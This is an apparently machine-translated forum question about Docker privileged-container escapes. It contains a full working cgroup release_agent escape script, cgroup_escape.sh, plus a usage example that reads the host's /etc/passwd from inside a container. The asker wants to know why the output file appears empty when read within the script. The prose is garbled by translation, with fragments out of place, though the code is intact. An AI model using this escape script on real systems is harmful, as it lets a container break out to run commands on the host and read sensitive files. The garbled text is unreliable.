私は、コンテナからホストへのエスケープに悪用される方法docker run ...
など、Dockerのオプションのいくつかを試してきました。--privileged
次のスクリプトは、cgroup_escape.sh
Yieldがコンテナがcgroupを変更し、cgroup機能を使用してホストでコマンドを実行できるようにするという事実を乱用します(参照:--privileged
cap_sys_admin
release_agent
使用法)。
これ質問内部で呼び出すと、cat /o
スクリプトが存在する前にcgroup_escape.sh
ファイルサイズが0バイト(変更結果なし)であったため、出力は表示されません。スクリプトが存在すると、コンテンツは正常に表示されます。/o
sleep 10
cat /o
/o
Dockerコンテナのルートファイルシステムの種類は次のとおりですoverlay
。
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/O2KKX7BVYQPVTDYSEHBQGQFRHH:/var/lib/docker/overlay2/l/RGMSFCJWYRAJ3ZUF43IBFJ7UPZ,upperdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/diff,workdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/work)
/o
シェルスクリプトの実行時にファイルの変更を適用する方法はありますか?
注:この問題は種類のあるファイルシステムによって発生しますかoverlay
?
cgroup_escape.sh:
#!/usr/bin/env bash
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
touch /o
echo $t/c > $d/release_agent
echo -e "#!/bin/sh\n$1 > $t/o" > /c
chmod +x /c
echo 0 > $d/w/cgroup.procs
sleep 1
cat /o
使用法:
docker run --privileged -ti --rm --mount type=bind,src=$(pwd),dst=/host,readonly debian:latest
root@bfbd3ddb2f2b:/# /host/cgroup_escape.sh "cat /etc/passwd"
root@bfbd3ddb2f2b:/# cat /o
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...